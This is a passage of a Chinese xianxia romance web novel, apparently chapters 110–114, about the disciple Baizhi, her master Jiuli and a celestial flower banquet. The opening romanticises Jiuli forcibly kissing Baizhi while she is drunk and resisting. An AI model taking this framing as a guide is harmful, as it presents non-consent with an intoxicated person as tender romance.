这双纯澈到极致的眼眸此时怔怔地盯着他,纤长的眼睫如受惊的蝶翅,脸颊眼尾均漫上胭脂色 他真是高估自己了,从前怎么会觉得只要远远地看着她就足够呢? 他俯身,小心翼翼地贴在那双叫他心颤的眼眸上,再落到那娇俏的鼻尖,莹白的脸颊,香甜的唇角,她身上的每一寸都甜美得让人无法脱瘾 白芷睁开眼,又闭上,她无力地摇了摇头,就算在梦里,她也不应该如此亵渎师尊 耳垂忽地被湿烫包裹住,像是寻到了美味的果实,男子探出舌尖将它卷入 像是触碰到什么要命的开关,一直半眯着眼陷入迷离的女子忽然惊呼一声,指尖在男子背上重重一划。 “不要”耳垂被咬住之时,白芷无法自控地弯曲腰身,克制不住惊呼一声。 “乖。”九黎见她呼吸变重,他唇角微微一勾,安抚性地亲了亲她的下颌,“别怕。” 皎月般的光辉让彼此清晰看到对方,白芷无措地看着眼前陌生的师尊,看着他眉心艳如红梅的纹路,即使晕沉,心底也隐约透着不安的躁动。 男子丝毫不察,或者说,他本就希望怀里的女子此刻是清醒的。 他又凑上来寻那柔软的唇瓣,几经舔舐之后,见她依然紧闭唇齿,吻又辗转到她耳侧。 湿乎乎的气息钻入耳廓,犹如蛊惑一般低哑的声音响起。 “乖,张嘴。” 熟悉的声音让白芷下意识地想要顺从,可残存的一丝清明却死死地警告她要守住底线。 而在这种事情上,九黎显然没有平日予取予求的耐心。 扣着她下颌的手微微使力,在小虎兽惊呼之时,他狠狠地碾上她的唇瓣,急切地攫取她唇间美味。【你现在阅读的是 】 110-120 第111章 第111章目光肆意落在女子身上 铺着柔软云被的小榻上,女子蹙着眉尖嘤咛一声,眼睫颤了几颤才缓缓睁开眼皮。 而她睁开眼时,眸底还泛着宿醉的倦红 也不知道躺了多久,左侧的手臂被压得有些轻微麻感,白芷转了个身想换个姿势,没想到刚一动,太阳穴位置针刺般呲痛 她痛得深吸一口气,抬手去揉太阳穴。 圆溜溜的眼眸毫无神采,酒醉前的记忆随着突突跳的额角慢慢回笼 因为师尊近来总是闷闷不乐的模样,她特意带着师尊去看那开得正好的花梨,还用了点小术法讨巧想让师尊欢心 确实,她看到师尊微微勾起嘴角,欣喜之下,她拿出从诸夏处带走的那坛子果酒,喝了几杯 记忆从这里开始有些模糊 那是什么破酒,酒劲上来时竟那么凶猛,白芷的手无奈叩了叩突突跳的额角。 酒气难散,她隐约还能闻到身上淡淡的酒味。 所以,醉酒后师尊将她带回兰因殿? 怎么不直接把她就近送回水榭?不过转念一想,送到水榭也不好,她如今要寸步不离师尊才行 所以,师尊呢? 白芷撑着手臂坐起,目光在屋里逡巡 人呢? 坐起来时,脑海里 突然闪过一个碎片,画面里师尊眉心血色印记,双眸如墨色深沉,一步一步朝她压近 这是梦还是真实?白芷咬着唇忍痛想再继续想,可脑海里却是一片空白。 师尊不会出事吧? 白芷忙从小榻上下来,边整理着被压得皱乱的衣裙边跑着,跑到一处书架前,双手碰触在上面,拉开一道晶蓝结界。 “师尊?”白芷一进结界便喊道。 但话喊出的时候,寻找的身影随之印入她的眼帘。 白芷稍微松了口气,见金光莲座上的人儿正闭着眼双手垂落在膝上,雄厚的灵气围裹飘荡在周围 她脚尖瞬时踮起,小心翼翼地走近。 走得再近一些,那张清隽如雪如雾的脸渐渐变得清晰,白芷的目光率先捕捉其眉心处 干干净净的,没有什么印记 所以,刚刚脑海里无端蹦出的那段画面,其实是梦境? 大抵是诸夏之前同她描述过师尊失控的模样,那隐约闪过的印记他描述得太过细致,日思夜想,以致于她在梦里将师尊想象成失控的模样 白芷摇了摇还有些晕眩的头,随意找了个角落坐下。 身上酒气熏人,白芷捏了个咒,将那熏人的气味净化掉,又拿出留音石,往里注入一丝灵力。 待一切都弄完之后,她懒懒地抱膝,将沉重的头倚靠在膝上。 目光再次看向莲座上如春涧兰露的人时,眸底不由得闪过一丝惊艳。 师尊可真好看,虽然不爱说话不爱笑,但只是这样端坐着都让人觉得赏心悦目。 还好诸夏那酒尽入了她的喉,没缠着让师尊也喝 不过不知想到什么场景,白芷噗呲轻笑了一声,师尊平日不爱饮酒,所以这么长的年岁,她还没见到他酒醉的模样,也不知道他的酒量是深是浅? 女子醉意还未完全发散,目光慢慢变得迟滞,要闭不闭的。 不远处沉凝四周的灵力无声舒散开,莲座上的人收了最后一息,缓缓睁开眼。 看到前方缩成一团的粉衫女子,九黎指尖一滞,好不容易稳住的气息又起了些波动。 她还敢进来找他 她会说什么呢?在他对她做了那样恶劣的举动后。 九黎落到女子身前,曲下身姿,望着女子倚在膝上露出的半边小脸。 墨色的长发自膝上垂落在地,绸缎一样散开,衬得肤色雪白,他的目光停在那饱满如瑰的唇瓣上 待她醒来看到他,这张小脸或许会皱成一团,气冲冲地指责他? 或许那双清澈的双眸会酝满泪珠,可怜兮兮? 白芷困意正盛,只是抱着膝盖睡得不舒服,头往下掉时将自己惊醒。 目光落到地上的素白衣袍,她目光自然而然往上抬,目光对上九黎,笑容先一步挂上脸。 “师尊。” 短短眯了会,女子的眼睛还含着水光,像是盛着星光的琉璃盏,忽闪忽闪间波光潋滟。 她笑起来时两颊梨涡浅浅,顾盼间纯真鲜活。 九黎只在她抬眼霎那目光飘忽闪躲开,而在听到那声如往常清甜的师尊后,他眸里闪过一丝光芒,对上女子眼眸。 那双眼眸如琥珀纯净,丝毫情绪都一览无余。 此刻里头有惊奇,愉悦,灵动 没有厌恶,悲伤,怒意 所以,她 白芷被九黎不加掩饰打量的目光看得脸颊发痒,她伸手在脸上捞了捞扰人的碎发,尽数撩到而后 而男子的目光随着她的动作,略过两只圆润粉嫩的耳垂,眸色不显地暗了暗。 “那个师尊。”白芷知道自己有些自作主张,故而有些心虚,“我刚刚传音让诸夏过来” 见师尊不错眼地盯着她,白芷不知道为何脸颊有些热烫,她咳了一声,解释道:“就是,我觉得我们不能讳疾忌医,虽然诸夏为人是不那么靠谱,但医术方面的确没得说。以我们师徒俩目前的状况,让诸夏多来瞧瞧也不是什么坏事。” 梦境里师尊眉心印记太过清晰,即使是梦,也让她很不安,所以她才让诸夏过来 说完后,白芷嘿嘿笑了声,试图寻求回应,“您说是吧,师尊?” 讳疾?忌医? 九黎深深凝着女子,似乎想从那生动的脸庞上看出些什么端倪。 他不知道普通女子被强吻之后会是什么反应,虽然小虎兽的想法跳脱多与常人不同,但按常理来推断,不应该是这样一副无事发生的模样。 所以,她是故意装傻? 九黎嘴角不自觉轻抿,却还是接过女子的话。 “我们什么状况?” “啊?”白芷愣了愣,什么状况师尊不是应该比她更清楚么?诸夏同她说,师尊还有些魄灵残留在她体内,所以元神残缺导致他灵力容易失控 “就是诸夏说他正在想办法尽快把我体内将师尊残留的魄灵取出” 在不影响她自身安危的情况下尽快让师尊魂魄归位,这当然是目前最好的选择。 “你想离开?”九黎伸手握住白芷的手腕。 逃离他? “离开?”白芷不解,“去哪?” 见女子眼底的懵然和疑惑不似作假,紧握着女子手腕的指节缓缓放松,九黎倏然垂眸,顺势将人拉起。 “出去吧。” 她是不是故作失忆已经不重要了,他说了,他不会给他们之间留任何余地- 兰因殿内,诸夏看了身旁白芷的示意,又抬眸看看坐在桌前的男子,咬了咬牙,小心翼翼地走上前。 对于白芷刚刚在结界内说的是否同意让诸夏来瞧瞧的话,九黎没有回应。 但没有回应在白芷这里,便是同意。 见诸夏磨磨蹭蹭,白芷直接在九黎跟前放了个凳子,催促道:“快些,我师尊等着呢。” 说完后,白芷对着九黎眯眯眼讨巧地笑了笑。 九黎原本脸色清淡,但听完女子的话,主动把手放到桌上。 见状,诸夏有些惊讶,小短腿三步并作两步,急忙往前。 坐在小凳子上,诸夏闭上眼,丝丝缕缕青黄色的丝线便从他肉嘟嘟的指间绕出,缠上男子手腕。 显然,这次九黎很是配合,丝线不费力气缠满腕间,诸夏脸上也不似上次冷汗直冒,他屏气凝神,表情平稳。 白芷站在一旁,目不转睛盯着诸夏的神情,就怕这小肉团随时皱个眉。 而被把着脉的人,此刻目光肆意落在女子身上。 他看着她双手不安抓握,目光在他的手腕和诸夏身上变换,眉间拧得紧紧地,明显一副担忧的模样。 “别担心。” 清泠的声音里落下,白芷侧脸望过去。 每每看着师尊清明镇定的眼神,白芷的心总是能很快被安抚下去,她对着他弯眸点了点头。 就在这对师徒目光相对之时,诸夏的尾指重重抽了抽,他倏地睁开眼,看向九黎。 注意到这位小医仙睁开眼,九黎淡定收回手。 “神尊,您是不是”因收回真元之力太过匆忙,还没说完,诸夏喉间一热,咳嗽了一声。 “别急。”九黎看着诸夏,眸色渐深,语气也沉了下来,“慢慢说。” 白芷被诸夏一声咳嗽吊得愈发紧张兮兮,她在一旁急切问道,“怎么回事?” “告诉她无碍。”清泠无波的声音在诸夏耳边响起。 诸夏看了眼白芷,又看回九黎,这才反应过来,他刚刚听到的是神尊单独对他的传音。 “”诸夏心底微惊,神尊的情况比上次还不好些,但神尊为何不愿星君知道 诸夏不敢多想,在白芷的又一次催促中咽了咽口水,“嗯与之前并无甚大异” 犹豫了下,诸夏硬着头皮又补了一句,“不过也轻心不得” “好了。”不待诸夏说完,九黎便开口,“下去吧。” 白芷下意识皱了皱眉,怎么她觉得师尊这两日喜怒有些明显,她甚至听出他语气里有几分不耐烦 难道灵力失控,脾气也会跟着失控? 算了,没事就好。 见诸夏有些不知所措,白芷率先开了口,“师尊,那我送诸夏出去。” 九黎觑了觑女子有些苍白的小脸,又看了眼垂着头的诸夏,淡淡嗯了一声。 第112章 第112章神尊近来有什么异样么…… 阶梯下云层如雪浪翻涌不息,亦如诸夏当下心情,跟在白芷身后迈出兰因殿门时,他大大松了口气。 诸夏虽是稚童般的外形,心性单纯,但不至于一点脸色都不会看。出门前神尊那一眼,如今想来,依然叫人心颤 待身边女子将门带上走近时,他心中波涛稍平,问:“这几日,神尊有什么异样么?” 异样? 白芷真是认真想了想,没什么异样啊,师尊不一直是这样一副寡淡清冷的模样么? 不过 “前几日倒还好,但昨日我察师尊兴致不高,甚至,有些不悦” 诸夏小声追问:“不悦?为何?” “啊?我也想不通啊,所以才担忧让你来一趟。”白芷带着诸夏往前走了一小段,在回廊前站定,“上次我问你的那个法子,你帮我查清楚了么?” 诸夏没好气地说道:“那可不是普通的术法,是禁术。” 提起这个,诸夏身上的稚气敛了敛,罕见多了几分凝重,“自行剥魂太过凶险,我认为你还是先同神尊商量一下,以你如今” “哎呀,这不是有你吗?”这些话诸夏翻来覆去已经说过多次了,白芷都听进去了。但眼下师尊这般情状,她这不是以备不时之需嘛。 诸夏本想反驳,但想起刚刚探的神尊脉象,心里不免沉重。他不知道为什么白芷常伴左右却没有发现丝毫端倪,也不明白神尊为何让他在她面前噤声,但有些事情确实不能不未雨绸缪。 “之前缺的那些灵药,我拿你的腰铃去神冢同朱雀星君要来了,不过还要等几日。” 白芷点了点头,“行。” 说完后,白芷转身欲回,忽然想起一事。 “上次你给我的那坛酒” 诸夏一见女子语气不善,又恢复平日娇蛮模样,他立马也竖起抵御状。 “你真喝多了?”诸夏梗着脖子,“我不是说了吗?那酒用蔻龙涎作引,虽口感醇甜,但后劲十足!” “我说了的!” 被诸夏一通高声回吼,白芷倒也有些印象他确实说过这些话。 但她眼下又不是要来问罪,见诸夏激动辩驳得满脸通红,她无奈扯了下嘴角,“别喊了,我头痛得很。” “你不会都喝完了吧?”诸夏疑问。 除了师尊喝下的那杯,其他差不多都被她喝了白芷遂点了点头。 “那你不头痛谁痛。”诸夏脸上烦躁,手却很快伸到乾坤袋摸了一会,扔出一个荷包状的小袋子。 “一次一颗,吃三次。” 白芷笑着接过,道了声谢,边回走边掏出一颗小药丸仰头吃下- 陪诸夏走了一段路,独自走回时白芷有些心不在焉,手无意识地摩挲着手上的小袋子。 诸夏给的那颗解酒药颇有效果,吃下不久脑袋便去了几分胀痛,不过还是要吸取教训,喝酒容易误事 原本想转回兰因殿,不料在玉阶转角看见一步履匆匆的身影,玉冠华服,白芷一眼便认出那背影是谁,顿了顿,她拐个弯换了条道- 兰因殿果然静无一人,白芷径直走到里间,掀开榻上的小薄毯,懒散地歪躺下去。 静谧熟悉的环境最适合理清思绪,她眼睛虚虚地落在某一处,脑袋却很是清明。 之前是因为不知道师尊还残有魂魄在她体内,所以想通过结契加快恢复灵力,但如今知道了,原先的计划便不再适用 当然,师尊定然比她更清楚自身状况,按诸夏偷偷告知她的说法,师尊是担心强行从她身上抽取残余破魂她无法承受。 那么若她自行剔取呢? 白芷仔细看过那本古籍,问诸夏那法子是行得通的,虽然剥魂容易反噬,但眼下她灵力低微,即使反噬的能量也不会很重。 况且之前幽冥一行,有蚩祗给的那瓶圣霊结晶,她还是很有把握的 大致理清思绪,白芷忽觉后颈发凉,是兽类被窥视的直觉,她猛地一激灵,翻了个身看向身后。 “诶,师尊回来了。” 白芷撑在身子坐起来,眼光自然往男子后面看去 没人。 仙帝亲自上九重天,师尊也能这么快就回来? 兰因殿外,水一般的波纹结界轻柔荡漾间化为无形,将这片小小的空间隔绝出来。 仙人修行多追求仙风道骨,体态窈窕优美,但显然小虎兽不是,懒洋洋地坐起来,还要顺手把背枕拉到臂下倚着,水似一样,坐没坐相。 九黎睨着女子眼角几分随性懒散,眉心下意识皱了皱,嗯了一声,语气算是温和。 她当真什么都记不得? “我” “你” 开口之后一齐停顿。 九黎坐到软榻旁边的玉凳上,视线与那双波光粼粼的眼眸平齐,他先开口。 “你先说。” 啊见师尊一副郑重其事要听她说话的模样,白芷滞了滞,她没什么要事,只是想随口问问仙帝来作甚。 但架势摆在这了,她咽了咽口水,“刚刚我回来时好似见到仙帝了。” 九黎听完,脸上显见多了两分阴霾,可惜女子丝毫没有觉察。 “他来找师尊做什么?” “我听诸夏说过几日便是仙界的百花盛宴了。” 女子一说起感兴趣的事情,脸上笑意一生,眉眼都生动起来。 “这百花盛宴虽千年一办,不过想想我上一次去都不知道是几万前了,听说如今办得比以前有趣多了” “是吗师尊?” “” 白芷是因为前些年几乎不着云宫,所以次次错过这些盛会,但九黎虽常居九重天,仙界的盛会仙帝也次次相邀,但九黎向来不喜热闹,从未没赴过那些宴会。 “不知。”他淡淡回道。 “” “师尊没去过么?”白芷疑惑,这么多年,难道师尊一次没去过? “嗯。” 啊好吧。 白芷肩膀往下垂了垂,那这次师尊大抵也不会去吧。 不过想想也算了,如今不比从前,仙界都是些生面孔,她虽然喜欢热闹,但终归在不熟识的人面前也不自在 见小虎兽眉眼瞬间耷拉,心里便似有一根线忽然扯紧,九黎盯着那莹白小脸,问:“你想去?” 也还好,就是这万年来不是呆在幽暗的掖太山,就是在这寂静的九重天,见到的人屈指可数,难免想凑凑热闹场面 “想去那便去看看。” “啊?”白芷望着九黎的瞳孔里满是惊讶,“我一个人去么?” 算了吧,她一个人去那还不如不去。 “你想一个人去?” 男子的声音清清冷冷,像一汪冻泉,几乎没有什么波荡,但周遭明显就冷冽几分。但白芷听完,脸上丝毫没有一丝惊惧,反而愈发兴致勃勃,一下就从软榻上起身,小步蹲到九黎膝侧。 “师尊的意思是,我们一起去?” 我们 女子仰着头,模样乖巧得不得了,潋滟清澈的双眸里满是惊喜与浓浓的依恋 很明显,有人很是受用。 “嗯。”九黎应着,起身前俯身握住白芷的手腕,顺势将人拉起。 有师尊在,那她便可以安安静静呆在他身边看热闹,这是什么天大的馅饼! 对了,还可以叫上七彩雀一同去,七彩雀这些年独居在九重天,恐怕也早闷得不行了 白芷脑海里正欢腾着,没有注意到九黎顺着她的手腕,隔着衣袖握住她的指尖,将她带到窗边。 窗台上,不知何时多了一琉璃盆盏,盆盏里泥土微润,一株手掌高的绿芽昂立舒展,生机暗涌。 九黎侧首,见那张桃花般妍丽的小脸翘着唇,不知又在胡乱想些什么,他指尖微微用力捏了捏,那张小脸便向他扬起。 “嗯?” 九黎朝窗前抬了抬下颌,白芷顺着望过去。 “子时花?”仿佛发现什么宝藏一般,女子本就晶莹的眼眸愈发熠熠生辉,“它怎么会在这里” 在幽冥间的那几百年,长久陪在她身边的活物,唯有这株以她指尖血为生的子时花。 白芷伸手抚上那株绿芽新出的两瓣新叶她以为她离开幽冥间那么久,它定然早已枯萎,没想到它长得比从前更好 “以后无需用指尖血喂它。”九黎不疾不徐地抬高手臂,刚刚一直被白芷忽视的细节一下展露在二人眼下。 白芷这才反应过来,她的手一直被握在师尊手里 额,师尊怎么还撩起她的衣袖白芷心里一惊,不知为何,下意识想将手抽回。 不料九黎好似预料到她的动作一般,用力握住那截莹白。 “师尊,你” 不待她开口,九黎已经松开她的手腕,手指指了指她手上的流光手镯,“不多时用这个喂予一缕灵力即可。” “哦哦好。” 原来是教她怎么喂食,白芷垂下头咬了咬唇,她刚刚在紧张什么。 第113章 第113章心口猛然一颤,不敢再…… 百花盛宴算是仙界第一盛会,这日众仙难得能从各自仙岗脱身,齐聚仙宫,以花为媒,享玉液琼浆,听仙乐飘飘,论修行心得…… 这次百花盛宴仍定在翠微仙宫举办,千年一次的盛会,碧梧仙子提前多日带着百花众仙子在此处布置点缀。 玉阶两侧用雪白流岚花缠绕,风起时恍若流动雪浪,琉璃瓦上垂下十丈虹霓,日光落下有如金鳞跃动,仙宫沿途无一处不精致,无一处不尽心。 众仙陆续踏云而至,仙娥捧来琼浆玉露,蟠桃灵果,仙宫内舞袖生辉,笑语盈盈。 只是众路仙家三三两两聚在一块闲聊时,眼神却不时瞅向玉阶之上两座空白玉案。 平日坐在主位的仙帝,此时坐在那正中玉案右下侧,正偏着头不知与身旁的圯上老人说着什么。 主位犹空,众仙家相视,无不透露出几分惊讶。 能让仙帝让出主位的,已无二想难道神尊会驾临此次百花盛宴? 众仙家虽有此猜想,却又个个摇头。谁不知九重天上的九黎神尊素来喜静,出了名地从不参加这类宴会。 这么多年,他们也只在几万年前仙帝的授鼎大会见过他。 而主位左侧还有一个座位…… 仙君们活了这么多年,一个比一个精。他们可听说了,九黎神尊的爱徒白虎星君万年前祭阵后并未殒身,前阵子仙界还有几个仙将说是亲眼见过她…… 说起万年前仙魔大战,众仙默契将声音降低,不敢高声议论。毕竟谁都知道,如今下星海还关着一位堕了魔的上古神。 那位身份特殊,是曾经守护三界的战神,虽是堕了魔叩开了皿灵阵,但说到底是魔界作怪,无人敢将此事完全归责于这位堕神。 但堕神终归是堕神,于三界来说终归是一个潜在可怕的威胁。 就在众仙家讪笑揭过话题之时,玉阶之上的仙帝蓦然站起,圣乐声起,万道耀眼金光混着清蓝瑞气自上倾洒,一众仙鸟在云层之上围绕起舞,鸣叫声伴随仙乐如同天籁。 仙帝俯身拱首之际,众仙倏然噤声,虽哥哥心中惊讶,可只顾得上肃然俯身。 “恭迎神尊。” “恭迎白虎星君。” 恭迎声浑厚回荡九重…… 云层之上,九黎之身后,身着蔷薇色雪纱流仙裙的白芷看着底下阵仗,先是一愣,下意识往男子身后掩身,但片刻之后,待她看清整座翠微仙宫,纯澈眼神猛然发亮。 确实好玩。 见身后女子突然靠近,九黎偏头看了她一眼,见她满脸兴致盎然,清绝眼眸里闪过一丝柔和。 落到玉案前,九黎环视下首一眼,伸手请道:“免礼落座吧。” 清冷如冻泉的声音一落下,仙帝与众仙齐齐道谢,重新落座。 师徒未到时是别人关注讨论的焦点,但真到了,众仙再好奇也只敢借推杯换盏之际偷偷往上望上一望。 白芷历劫归来虽有一段时间,仙帝在此期间也去过九重天,但两人还未碰上面。依礼,仙帝端着酒盏上前,含笑贺道:“今日神尊与星君亲驾临,实是仙界之大幸。” 白芷才坐下,见仙帝走近,她又站起,顺手端起酒盏。 “吾等感念星君大恩,只是星君刚历劫回来,吾等不敢叨扰,请星君见谅。”仙帝一番话说得诚恳,白芷瞥了身侧端坐在玉案前的男子,虽未站起,但神情算是温和,但明显没有想开口的样子。 白芷遂颔首笑道:“护三界安平是吾等之责,仙帝无需多礼。” “星君说的是。”仙帝原本想与眼前这位星君碰杯以示敬意,只是没想到,他酒盏刚举起,这位白虎星君主动递杯相碰,而后仰头一饮而尽。 待白芷浅笑向他亮了亮杯底,仙帝难掩惊讶,而后急忙举杯饮尽,但因过于匆忙,竟被酒水呛得连连咳嗽两声,引得玉阶下众仙纷纷抬头望来。 仙帝不禁转头看了一眼九黎,讪笑两声。 喝了仙帝敬的这杯酒,白芷今日就无需再与人交际了。有师尊这冷脸在旁,其他仙人不敢靠近寒暄,那她便能不受打扰地凑热闹,思及此,她不吝笑意看了一眼九黎,才坐回自己的玉案前。 仙帝脚步在原地踟蹰一番,他原本有意想同这位白虎星君多寒暄几句的,毕竟之前她差点与他儿结契 关于结契一事,虽说他后来确实是松口了,但也没明确表态 其实莫说白虎星君是神尊的徒弟,就算凭她自己的身份,直接来他面前要昊阳,他也很难说不。 仙帝既不想同儿子闹得太僵,也不想得罪这位星君,最后在昊阳仙君的恳求,淡淡落下一句:那便看星君的意思吧。 所以,从头到尾,他的态度一直很不干脆。 结契一事作罢,仙帝松了口气的同时又怕有哪些地方做的不妥得罪这位“声名远扬”的白虎星君,但眼下看着,这位星君倒不像将此事放在心里的模样 仙帝坐回自己的位置,往下首觑了一眼,目光落到他儿身上。 此刻,他身旁正好围着几个仙人,不知在说些什么,他那位儿子脸上挂着淡淡的笑意,是他欣赏的淡然温和的模样。 历完十世劫回来后,他的修炼日有进益,派予他做的几件事也做得很出色,声望愈盛,颇得人心,一切都往他期许的方向发展,但只要想起之前这个儿子之前在自己面前执拗闹着要结契的模样,仙帝心里不由得又叹了口气。 儿子大了,当爹的属实看不懂他内心到底在想什么。 昊阳仙君位置最靠近玉阶,仙帝咳嗽时,他侧身望去,正好看到那道蔷薇色身影笑盈盈在他父君面前晃了晃酒杯。 虽然听不见女子说话声,但 见到她的动作,他也能想象出此时此刻她或许会说什么。 她定是觉得父君平日端素,故意饮尽看父君反应。 连父君她也敢逗弄,想及此,昊阳仙君忍不住低笑。 他总是很羡慕她身上那股天不怕地不怕的劲。 白芷落座后,先是把玉案上所有瓜果玉液扫了一遍,瓜果鲜翠欲滴,玉液她刚刚尝过,味道上佳,她为自己又添了一盏。 但不久前才刚刚喝醉,如今又是这么多人的场合,因此只多饮一盏后,白芷便自觉捻起那串青色葡果。 而相比于她,九黎的脸色便有些意兴阑珊了。 他对这样的场合并不感兴趣,但小虎兽想来,他也无可无不可。酒盏一直握在手上,有一口没一口地饮着。 有九黎在,底下的仙人不敢随意走动,仙帝自然也不敢离席。 过了一会,圯上老人和几位辈分较高的仙人拿着酒盏踏上玉阶来到九黎玉案前。 九黎虽脸色清淡,但但凡敬酒,他也来者不拒,同举起酒盏饮了几杯。 几位老仙君没想到会得此回应,下玉阶时肩背挺得愈发耸直,骄傲地几把老胡子都要翘上天。 而底下仙人自然也偷偷关注着阶上动静,见上首神尊看着虽孤冷出尘,但却不是一副难接近的做派,几位老仙君去敬酒,他竟一一回饮,于是慢慢地,众仙也不似一开始那般拘束,底下开始走动起来…… 八卦是一种本性,即使修得六根清净的仙人也修不去这种本性。 往上首偷看得多了,众人的目光开始偷偷挪向神尊身旁的女子。 那位白虎星君,与传闻中好似不太一样。 他们看得出来,上去敬酒的那几位老仙君敬完神尊,脚步往边挪,也有意敬敬这位刚救三界于危难历劫归来的白虎星君。 只是那位星君全程目光一直追寻虚空舞台上起舞的几位仙子,微带笑意,目光欣赏,那几个老仙君又侧头看了眼神尊,见他没有开口叫她的意思,犹豫了一下,还是没有上前打扰。 大多仙人都是第一次见这位白虎星君,虽传言听了不少,知道这位星君不是什么好相与的主,玩性上来,还曾只身闯入穷桑,将镇守在那的两头上古凶兽打到上九重天告状 但出乎他们意料的是,这位顽劣出名的神兽星君,不仅看着娴静安然,竟还生了那样一副清绝的芙蓉面。 从她在神尊身后显身之后,不少仙人的目光总是不由自主凝过去—— 不是那种艳极的长相,但绝对是越看越叫人移不开眼的容貌, 那是一张胜新月皎洁纯真的面容,梨涡点缀,笑眼盈盈 他对着仙帝浅笑时有如春雪初融,叫人难以想象,若是女子开怀笑时,该是如何的灵动绝美。 而在她抬眸瞬间,众仙愈发目露惊艳,那般皎洁纯澈的脸庞,就该配着那样一双剔透萦辉的双眸 彩绸飘舞,桃花仙子轻点脚尖,随着她挥袖收舞时,泛着淡淡荧光的桃花瓣如落英一样,洒落整座仙殿,香气醉人。 大抵没人发现,桃花仙子最后的舞步有些乱了节奏。 只因舞至中半时,桃花仙子感受到玉阶之上一道灼热目光一直紧紧锁在身上,以至于让她紧张到迈错舞步。 于是退下舞台之际,桃花仙子大着胆子往玉阶之上望去。 只一眼,其实看不真切,但心底不减震撼。 那位九天神尊,面容笼着一层朦胧清晖,明明近在眼前,却感觉比山河缥缈,天生疏冷,不染凡尘。 显然,刚刚那道灼烫目光非来来自于他。 所以…… 桃花仙子往左侧稍瞥,撞进另一双清亮眼眸里。 原来是白虎星君。 目光与她相对之时,那位星君对着她笑着颔了颔首 正逢有桃花瓣落至身上,那位星君随手取过,放到鼻翼旁嗅了嗅,而后转头伸手,将那片桃花瓣伸到神尊眼前。 桃花仙子听不她说了什么,只是看到那位坐在那隐隐散发天道威压的神尊表情依然清冷,却缓缓低下头颅,凑近那枚桃花。 桃花仙子心口猛然一颤,不敢再看。 第114章 第114章两人靠得极近,姿态亲…… 玉阶之上,白芷举着桃花瓣对九黎说道:“师尊,你闻闻,这些花瓣好香啊。” 与平日里闻过的桃花香多了。 女子小巧指尖与花瓣同色,粉嫩圆润,九黎握着酒盏的手压了压,低头凑近。 确实香味浓郁。 不过,九黎不喜这种浓香。他抬身,淡淡应了一声,“嗯。” 吃果子都吃饱了,跳舞的仙子们不知何时退下,台上只余几位抚乐的仙子。 白芷忽觉有些无聊,于是往九黎身旁挪。 “刚刚那几位仙子,我好似是第一次见…”她眼睛咕溜着,认真从脑海里翻找回忆,只是没耐心,见九黎睨过来,她脸上又堆叠起笑意,“不愧是百花仙子。” 仙界有很多仙子,而仙子们中犹以百花仙子们的容色最为出彩。 尤其是刚刚起舞的桃花仙子,眉眼如画,肌肤胜雪,眉心一朵桃瓣平添妩媚…… 白芷凑过来是想与师尊寻求共鸣,但没想到她还没说完,便被不耐打断。 “这就是你要看的热闹?” “额……”很是嫌弃的语气,白芷一时滞塞不知该说什么。 不看这些,不然看什么? 师尊也太不解风情了吧。 当然,白芷不敢争辩,讪讪坐正,目光转而扫过玉阶下。 相比这里,底下可热闹多了,可惜一眼望过去,尽是生面孔…… 白芷不由得在心里叹了口气,也不知道七彩雀在卖什么关子,让她一同前来她竟拒绝。 欸,看到熟人了。 白芷眼神瞬间亮起来,她拎起酒壶,侧过身去把九黎的酒盏添满,顺便道:“师尊,我想过去那边一趟。” 九黎顺着她目光看去,看见底下一小不点的身影正挎着一个小篮子往边上走…… “去吧。” 来都来了,九黎当然愿意她玩得尽兴。 白芷笑着应是,而后站了起来,提了提裙摆,从左侧玉梯走下。 底下的仙人眼尖,见上首那蔷薇色身影翩跹走下,纷纷驻首行礼,白芷一一淡笑回礼。 但只是一点头间隙,视线里的小不点身影便无影无踪了,白芷只好往着刚刚最后一眼的方向往外寻。 毕竟是九重天的白虎星君,那些仙人拿捏着礼数,见了礼便很快退下,白芷也毫无阻拦走到翠微仙宫外。 一门之隔,仙宫之外隔绝了里头所有喧闹。 白芷对仙宫不熟,绕来绕去走了好一段路都没有找到诸夏,不由得猜想诸夏难道直接遁回仙医馆了? 不该啊,她可见他专门拦了一仙使,将那仙使端着盘子里的几个蟠桃都装到他手上的小篮子,这厮爱面子的很,想来是偷偷躲哪享用去了。 但,他躲哪呢? 仙宫这么大,可不好找。 白芷望着四周弯弯曲曲蔓延不知通向何处的游廊,打消继续找下去的念头。 热闹也凑过了,师尊也不甚习惯这种场合,也差不多回去了。 往回走了没几步,白芷忽地听到前方有人唤她。 她抬眼往前看,见到来人,立马展开笑颜。 笑意舒展,不似刚刚在仙殿那种疏离浅笑。 不远处,昊阳仙君也温和回以一笑,提步走近。 “星君怎么走到这里来了?”他问,“在找人?” 白芷点头,无奈道:“刚见诸夏往这里走,但一转眼人就不见了。” 昊阳仙君了然,他眼眸往东边不远处的小亭看了一眼,又不着痕迹收回目光,浅笑道:“诸夏医仙啊…”他往西边方向指了指,“那边便是仙医馆的方向,星君可要往那边去找找看?” 远处隐约可见一处琉璃顶,看着就很远,白芷其实也没什么事找他,于是摇头,“不找了,还是回去吧。” “嗯。”昊阳仙君遂往旁边让了一步,“那星君请。” 两人有一句没一句,有说有笑往仙宫方向走。快走到的时候,白芷目光瞥到一道熟悉的颀长身影。 她惊讶地咦了一声,“师尊,你怎么也出来了?” 九黎没有开口,脸色却温和,向女子轻抬起手。 素白广袖垂落,如同九重天倾落的一痕雪色,昊阳仙君僵硬落下脚步,就这样看着上一秒还在同她笑谈诸夏的女子,脸上笑意更甚,小跑着奔过去…… 而后,手自然落进那位让人疏离敬畏的神尊掌心…… 显然,女子并不觉得有异,仰着头,眉眼弯弯,不知对着来人在讲些什么。 两人靠得极近,姿态亲昵。 亲昵?脑海蹦出这个词后,昊阳仙君自己先是一惊。 可当顺着那两道交织的袖摆往上,目光撞上那双如寒玉清透的眼眸时,所有猜测如雪崩般落地。 即使身份悬殊,但昊阳仙君一眼便看出那人眼中冷意。 毫不遮掩。 “昊阳仙君,你过来呀。”白芷见那位端方有礼的小仙君愣在原地,抬手唤他过来。 虽然昊阳仙君是仙帝之子,师尊定然见过,但既然碰巧遇见,她不介意再为他引荐一番。 白芷习惯抬右手,但手腕被人抓紧,一时动弹不得,她抬头瞥了九黎一眼,见他神色清淡,仿佛丝毫不察此举动给她造成的不便…… 虽然心里觉得奇怪,但想着师尊近来因灵力不稳而常出现一些反常的行动,她终究没说什么,反而朝九黎浅浅一笑。 “师尊应当见过昊阳仙君了。” 昊阳仙君走近,拱手行礼,白芷笑道:“不必过于拘礼,我师尊向来不在意这些的。” 昊阳仙君温和一笑,行礼动作却未停,“小仙拜见神尊。” 